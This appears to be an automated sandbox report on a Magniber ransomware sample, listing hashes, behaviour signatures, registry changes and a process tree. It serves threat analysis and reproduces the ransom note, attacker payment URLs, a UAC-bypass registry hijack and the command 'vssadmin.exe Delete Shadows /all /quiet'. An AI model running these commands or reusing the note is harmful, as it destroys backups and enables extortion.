magniber | 2cf60c433df3dcc84b80e18c93e578bf18b31c5c49777953702c53166275796b

Analysis

max time kernel
99s
max time network
160s
platform
windows7_x64
resource
win7v20210410
submitted
22-06-2021 14:06

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General

Target

2.exe
Size

21KB
MD5

2953b6ec692537f8eace1077081f9e43
SHA1

6db28862c0dbb589b918f812ff61cfdac0248eab
SHA256

2cf60c433df3dcc84b80e18c93e578bf18b31c5c49777953702c53166275796b
SHA512

11959d3841c3824e5d4c68771f67db6227423d99f5beb6559c165081b6300fb3553633ce871157bd972845730fcc9e1201c10507f114d7458b3940c8cdf0ca85

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://7478f2f8eed008e0ekmxfykjdz.5s4ixqul2enwxrqv.onion/kmxfykjdz Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://7478f2f8eed008e0ekmxfykjdz.bestep.cyou/kmxfykjdz http://7478f2f8eed008e0ekmxfykjdz.plughas.casa/kmxfykjdz http://7478f2f8eed008e0ekmxfykjdz.ownhits.space/kmxfykjdz http://7478f2f8eed008e0ekmxfykjdz.dayhit.xyz/kmxfykjdz Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://7478f2f8eed008e0ekmxfykjdz.5s4ixqul2enwxrqv.onion/kmxfykjdz

http://7478f2f8eed008e0ekmxfykjdz.bestep.cyou/kmxfykjdz

http://7478f2f8eed008e0ekmxfykjdz.plughas.casa/kmxfykjdz

http://7478f2f8eed008e0ekmxfykjdz.ownhits.space/kmxfykjdz

http://7478f2f8eed008e0ekmxfykjdz.dayhit.xyz/kmxfykjdz

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 10 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	304	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2056	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2076	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2068	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	792	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	1680	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2700	1680	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	1680	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2772	1680	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2764	1680	vssadmin.exe	47

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\SplitJoin.tif => C:\Users\Admin\Pictures\SplitJoin.tif.kmxfykjdz	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ReceiveCompare.crw => C:\Users\Admin\Pictures\ReceiveCompare.crw.kmxfykjdz	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UnblockSuspend.raw => C:\Users\Admin\Pictures\UnblockSuspend.raw.kmxfykjdz	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UnpublishSync.raw => C:\Users\Admin\Pictures\UnpublishSync.raw.kmxfykjdz	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\RenameHide.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\RenameHide.tiff => C:\Users\Admin\Pictures\RenameHide.tiff.kmxfykjdz	taskhost.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 916 set thread context of 1124	916	2.exe	14
PID 916 set thread context of 1180	916	2.exe	13
PID 916 set thread context of 1208	916	2.exe	12

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2764	vssadmin.exe
2708	vssadmin.exe
2700	vssadmin.exe
2732	vssadmin.exe
2772	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f00000000020000000000106600000001000020000000f3c76d712ee1141fb114935f05c590a66dcddc986e42e616aba0c2ae7fbc1826000000000e8000000002000020000000230dabf117bc90c9dfd97cf0e9e600ec2ccdf5368713abaf2f4d6336e2befb8e20000000d66afc7ecc50b3dbfcadacec19c843866694d3ddb2fc04a1de184bce5b6e324040000000f7f7d37bae705a3f188283f0da73e5cf26753fb3189bf9e6505eb2da9ac2167eccf35931d16d2a582c7668075243eb99936d4cb7d6e4fd16edfad8cba1826aec	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f0000000002000000000010660000000100002000000051a9932cd817ce9c3297f5c1817705df8ea70c85a9bfddacec421a3d621743a1000000000e80000000020000200000005bdc0a3e18a790d13a6c8f8886e8629f6da84329f8e541f998106b0fe4fd1da390000000f3ee2f70213f72b88b7ad2cc8126313ac76ad8f81ad516f8e66f6381df3c7d3dec16641137dfb55a5353d4061fc4735cb3ac63ae90b60690bd7ef034bc21dddf195eb60523b432b3d985d19a3f0328311acea403f7d61e49e1727401ff9274ee436a0b08fdbed4b7913be9b4169f59c00e2dc4c6add14901e7d20bd94d18c0c43ec8ee0d6cfe17fba3a3600522464ede40000000a97ed35f1293e027cf0c6197b266203eb90d29e7c0018a700f3315ce1055da42c31170f1719015e1936325911758f8240d1ebf953b4ed881f2dd117834db37f9	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "331135561"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{90321D31-D362-11EB-B85A-F2B989C9245F} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00ccb6686f67d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	2.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	2.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2024	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
916	2.exe
916	2.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
916	2.exe
916	2.exe
916	2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1840	WMIC.exe
Token: SeSecurityPrivilege	1840	WMIC.exe
Token: SeTakeOwnershipPrivilege	1840	WMIC.exe
Token: SeLoadDriverPrivilege	1840	WMIC.exe
Token: SeSystemProfilePrivilege	1840	WMIC.exe
Token: SeSystemtimePrivilege	1840	WMIC.exe
Token: SeProfSingleProcessPrivilege	1840	WMIC.exe
Token: SeIncBasePriorityPrivilege	1840	WMIC.exe
Token: SeCreatePagefilePrivilege	1840	WMIC.exe
Token: SeBackupPrivilege	1840	WMIC.exe
Token: SeRestorePrivilege	1840	WMIC.exe
Token: SeShutdownPrivilege	1840	WMIC.exe
Token: SeDebugPrivilege	1840	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1840	WMIC.exe
Token: SeRemoteShutdownPrivilege	1840	WMIC.exe
Token: SeUndockPrivilege	1840	WMIC.exe
Token: SeManageVolumePrivilege	1840	WMIC.exe
Token: 33	1840	WMIC.exe
Token: 34	1840	WMIC.exe
Token: 35	1840	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1616	WMIC.exe
Token: SeSecurityPrivilege	1616	WMIC.exe
Token: SeTakeOwnershipPrivilege	1616	WMIC.exe
Token: SeLoadDriverPrivilege	1616	WMIC.exe
Token: SeSystemProfilePrivilege	1616	WMIC.exe
Token: SeSystemtimePrivilege	1616	WMIC.exe
Token: SeProfSingleProcessPrivilege	1616	WMIC.exe
Token: SeIncBasePriorityPrivilege	1616	WMIC.exe
Token: SeCreatePagefilePrivilege	1616	WMIC.exe
Token: SeBackupPrivilege	1616	WMIC.exe
Token: SeRestorePrivilege	1616	WMIC.exe
Token: SeShutdownPrivilege	1616	WMIC.exe
Token: SeDebugPrivilege	1616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1616	WMIC.exe
Token: SeRemoteShutdownPrivilege	1616	WMIC.exe
Token: SeUndockPrivilege	1616	WMIC.exe
Token: SeManageVolumePrivilege	1616	WMIC.exe
Token: 33	1616	WMIC.exe
Token: 34	1616	WMIC.exe
Token: 35	1616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeSecurityPrivilege	1728	WMIC.exe
Token: SeTakeOwnershipPrivilege	1728	WMIC.exe
Token: SeLoadDriverPrivilege	1728	WMIC.exe
Token: SeSystemProfilePrivilege	1728	WMIC.exe
Token: SeSystemtimePrivilege	1728	WMIC.exe
Token: SeProfSingleProcessPrivilege	1728	WMIC.exe
Token: SeIncBasePriorityPrivilege	1728	WMIC.exe
Token: SeCreatePagefilePrivilege	1728	WMIC.exe
Token: SeBackupPrivilege	1728	WMIC.exe
Token: SeRestorePrivilege	1728	WMIC.exe
Token: SeShutdownPrivilege	1728	WMIC.exe
Token: SeDebugPrivilege	1728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1728	WMIC.exe
Token: SeRemoteShutdownPrivilege	1728	WMIC.exe
Token: SeUndockPrivilege	1728	WMIC.exe
Token: SeManageVolumePrivilege	1728	WMIC.exe
Token: 33	1728	WMIC.exe
Token: 34	1728	WMIC.exe
Token: 35	1728	WMIC.exe
Token: SeShutdownPrivilege	1208	Explorer.EXE

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1208	Explorer.EXE
1596	iexplore.exe
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1596	iexplore.exe
1596	iexplore.exe
1072	IEXPLORE.EXE
1072	IEXPLORE.EXE
1072	IEXPLORE.EXE
1072	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 2024	1124	taskhost.exe	26
PID 1124 wrote to memory of 2024	1124	taskhost.exe	26
PID 1124 wrote to memory of 2024	1124	taskhost.exe	26
PID 1124 wrote to memory of 568	1124	taskhost.exe	27
PID 1124 wrote to memory of 568	1124	taskhost.exe	27
PID 1124 wrote to memory of 568	1124	taskhost.exe	27
PID 1124 wrote to memory of 1512	1124	taskhost.exe	28
PID 1124 wrote to memory of 1512	1124	taskhost.exe	28
PID 1124 wrote to memory of 1512	1124	taskhost.exe	28
PID 1512 wrote to memory of 1840	1512	cmd.exe	31
PID 1512 wrote to memory of 1840	1512	cmd.exe	31
PID 1512 wrote to memory of 1840	1512	cmd.exe	31
PID 568 wrote to memory of 1596	568	cmd.exe	32
PID 568 wrote to memory of 1596	568	cmd.exe	32
PID 568 wrote to memory of 1596	568	cmd.exe	32
PID 1180 wrote to memory of 608	1180	Dwm.exe	33
PID 1180 wrote to memory of 608	1180	Dwm.exe	33
PID 1180 wrote to memory of 608	1180	Dwm.exe	33
PID 608 wrote to memory of 1616	608	cmd.exe	38
PID 608 wrote to memory of 1616	608	cmd.exe	38
PID 608 wrote to memory of 1616	608	cmd.exe	38
PID 1208 wrote to memory of 1968	1208	Explorer.EXE	36
PID 1208 wrote to memory of 1968	1208	Explorer.EXE	36
PID 1208 wrote to memory of 1968	1208	Explorer.EXE	36
PID 1968 wrote to memory of 1728	1968	cmd.exe	40
PID 1968 wrote to memory of 1728	1968	cmd.exe	40
PID 1968 wrote to memory of 1728	1968	cmd.exe	40
PID 916 wrote to memory of 2016	916	2.exe	41
PID 916 wrote to memory of 2016	916	2.exe	41
PID 916 wrote to memory of 2016	916	2.exe	41
PID 916 wrote to memory of 1288	916	2.exe	43
PID 916 wrote to memory of 1288	916	2.exe	43
PID 916 wrote to memory of 1288	916	2.exe	43
PID 1288 wrote to memory of 472	1288	cmd.exe	45
PID 1288 wrote to memory of 472	1288	cmd.exe	45
PID 1288 wrote to memory of 472	1288	cmd.exe	45
PID 2016 wrote to memory of 1388	2016	cmd.exe	46
PID 2016 wrote to memory of 1388	2016	cmd.exe	46
PID 2016 wrote to memory of 1388	2016	cmd.exe	46
PID 1596 wrote to memory of 1072	1596	iexplore.exe	49
PID 1596 wrote to memory of 1072	1596	iexplore.exe	49
PID 1596 wrote to memory of 1072	1596	iexplore.exe	49
PID 1596 wrote to memory of 1072	1596	iexplore.exe	49
PID 304 wrote to memory of 2180	304	cmd.exe	60
PID 304 wrote to memory of 2180	304	cmd.exe	60
PID 304 wrote to memory of 2180	304	cmd.exe	60
PID 792 wrote to memory of 2196	792	cmd.exe	61
PID 792 wrote to memory of 2196	792	cmd.exe	61
PID 792 wrote to memory of 2196	792	cmd.exe	61
PID 2076 wrote to memory of 2212	2076	cmd.exe	62
PID 2076 wrote to memory of 2212	2076	cmd.exe	62
PID 2076 wrote to memory of 2212	2076	cmd.exe	62
PID 2056 wrote to memory of 2252	2056	cmd.exe	63
PID 2056 wrote to memory of 2252	2056	cmd.exe	63
PID 2056 wrote to memory of 2252	2056	cmd.exe	63
PID 2068 wrote to memory of 2280	2068	cmd.exe	64
PID 2068 wrote to memory of 2280	2068	cmd.exe	64
PID 2068 wrote to memory of 2280	2068	cmd.exe	64
PID 2180 wrote to memory of 2388	2180	CompMgmtLauncher.exe	65
PID 2180 wrote to memory of 2388	2180	CompMgmtLauncher.exe	65
PID 2180 wrote to memory of 2388	2180	CompMgmtLauncher.exe	65
PID 2212 wrote to memory of 2436	2212	CompMgmtLauncher.exe	68
PID 2212 wrote to memory of 2436	2212	CompMgmtLauncher.exe	68
PID 2212 wrote to memory of 2436	2212	CompMgmtLauncher.exe	68

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Users\Admin\AppData\Local\Temp\2.exe
  "C:\Users\Admin\AppData\Local\Temp\2.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1388
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:472
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1728

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:608
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1616

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2024
- C:\Windows\system32\cmd.exe
  cmd /c "start http://7478f2f8eed008e0ekmxfykjdz.bestep.cyou/kmxfykjdz^&1^&47212692^&73^&325^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:568
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://7478f2f8eed008e0ekmxfykjdz.bestep.cyou/kmxfykjdz&1&47212692&73&325&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1596 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1072
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1840

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:304
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2388

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2252
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2456

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2436

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2280
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2544

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:792
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2196
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2484

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2708

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2700

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2732

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2772

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2764

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/916-92-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

Filesize
4KB

Download
memory/916-69-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/916-63-0x0000000001DE0000-0x0000000001DE1000-memory.dmp

Filesize
4KB

Download
memory/916-62-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
